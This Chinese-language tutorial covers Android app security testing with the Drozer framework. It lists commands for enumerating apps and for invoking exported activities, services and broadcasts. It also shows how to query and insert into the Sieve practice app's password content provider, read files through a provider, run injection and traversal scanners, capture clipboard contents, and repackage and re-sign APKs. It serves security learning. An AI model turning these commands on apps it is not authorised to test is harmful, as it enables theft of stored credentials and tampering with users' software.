使用Drozer安卓调试手册
字数 1401 2025-08-22 12:22:36
Drozer安卓调试手册 - 详细教学文档
一、环境准备与工具安装
1. 所需工具
- Windows 10系统
- 夜神模拟器
- Python 2.7环境
- ADB工具
- Drozer框架
- Drozer Agent.apk
2. 安装配置
-
Python 2.7:
- 安装Python 2.7
- 设置环境变量:将Python安装目录添加到系统PATH
-
ADB工具:
- 安装Android SDK或单独下载ADB
- 设置环境变量:将ADB所在目录添加到系统PATH
-
Drozer安装:
- 将Drozer安装在Python2的Scripts目录下
-
Agent.apk安装:
- 将agent.apk安装到模拟器中
二、环境启动与连接
1. 启动模拟器环境
- 启动夜神模拟器
- 安装并打开agent.apk,点击"Embedded Server"开始监听
2. ADB连接
-
检查设备连接:
adb devices- 如果找不到设备,需要在模拟器bin目录下启动cmd
-
端口转发:
adb forward tcp:31415 tcp:31415 -
查看所有包名:
adb shell pm list package
3. 启动Drozer控制台
-
设置编码:
set PYTHONIOENCODING=UTF-8 -
连接设备:
drozer console connect
三、基础信息收集
1. 包信息查询
-
列出所有包:
run app.package.list -
搜索特定包:
run app.package.list -f 包名 -
获取包详细信息:
run app.package.info -a 包名 -
获取应用清单:
run app.package.manifest com.mwr.example.sieve
2. 攻击面分析
- 获取攻击面:
run app.package.attacksurface com.mwr.example.sieve
四、组件分析与利用
1. Activity组件
-
检查导出的Activity:
run app.activity.info -a com.mwr.example.sieve -
检查启动意图(主Activity):
run app.package.launchintent com.mwr.example.sieve -
调用导出的Activity:
run app.activity.start --component <package_name> <full_activity_name>
2. Service组件
-
获取服务信息:
run app.service.info -a com.mwr.example.sieve -
启动服务:
run app.service.start --action 服务名 --component 包名 服务名 -
利用AuthService:
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj -
利用CryptoService:
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 3452 2 3 --extra string com.mwr.example.sieve.KEY testpassword --extra string com.mwr.example.sieve.STRING "string to be encrypted" --bundle-as-obj
3. Broadcast Receiver组件
-
获取广播接收器信息:
run app.broadcast.info -a com.mwr.example.browser -
发送广播:
run app.broadcast.send --action com.myapp.CORRECT_CREDS -
广播嗅探:
run app.broadcast.sniff --action android.intent.action.BATTERY_CHANGED
4. Content Provider组件
-
获取内容提供者信息:
run app.provider.info -a com.mwr.example.sieve -
查找内容URI:
run app.provider.finduri com.mwr.example.sieve -
查询内容提供者数据:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords -
插入数据:
run app.provider.insert content://com.mwr.example.sieve.DBContentProvider/Passwords --integer _id 3 --string service Facebook --string username tyrone --string password zA76WR9mURDNNEw4TUiidVKRuKLEamg5h84T --string email tyrone@gmail.com -
读取文件:
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/system/etc/hosts
五、漏洞扫描
1. 扫描暴露的组件
-
查找暴露的Activity:
run scanner.provider.finduris -a 包名 -
检测注入漏洞:
run scanner.provider.injection -a com.mwr.example.sieve -
检测数据泄露:
run scanner.provider.finduris -a com.xxx.xzxx -
检测目录遍历:
run scanner.provider.traversal -a com.mwr.example.sieve -
自动化遍历检测:
run scanner.provider.traversal -a content://com.mwr.example.sieve.FileBackupProvider
2. 其他扫描
-
查找可浏览Activity:
run scanner.activity.browsable -
检查WebView可利用性:
run scanner.misc.checkjavascriptbridge -a com.vulnerable.js
六、高级利用技术
1. 权限相关
-
查找具有特定权限的应用:
run app.package.list -p android.permission.INSTALL_PACKAGES -
查找使用特定UID的应用:
run app.package.list -u 1000 -
查找处理特定MIME类型的应用:
run app.activity.forintent --action android.intent.action.VIEW --mimetype application/pdf
2. 调试与备份
-
检查应用是否允许备份:
run app.package.backup -f com.mwr.example.sieve -
检查应用是否可调试:
run app.package.debuggable -f sieve -
以应用身份运行命令:
run-as com.mwr.example.sieve
3. 剪贴板操作
- 查看剪贴板内容:
run post.capture.clipboard
七、APK分析与修改
1. 反编译与重打包
-
使用apktool反编译:
java -jar apktool.jar d com.joeykrim.rootcheck.apk rootcheck -
重新编译应用:
java -jar apktool.jar b rootcheck/ rootcheck-modified.apk -
签名APK:
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore mykey.keystore rootcheck-modified.apk alias_name
2. 签名验证
-
基本验证:
jarsigner.exe -verify APK文件路径 -
详细验证:
jarsigner.exe -verify -verbose -certs APK文件路径
八、其他安全检测
1. 敏感信息检测
- 使用ApkAnalyser提取敏感信息
2. 常见漏洞检测
- 劫持检测:HijackActivity
- 二次打包风险:检查allowBackup值
- 应用调试风险:检查allowBackup值
- 二次签名漏洞测试
- 边信道信息泄漏:观察adb logcat输出
- 代码反编译风险分析
九、总结
本手册详细介绍了使用Drozer进行Android应用安全测试的全过程,从环境搭建到各种组件的测试方法,涵盖了Activity、Service、Broadcast Receiver和Content Provider四大组件的安全检测技术,以及APK反编译、重打包和签名验证等高级技术。通过本手册,安全研究人员可以全面了解Android应用的安全测试方法,发现潜在的安全漏洞。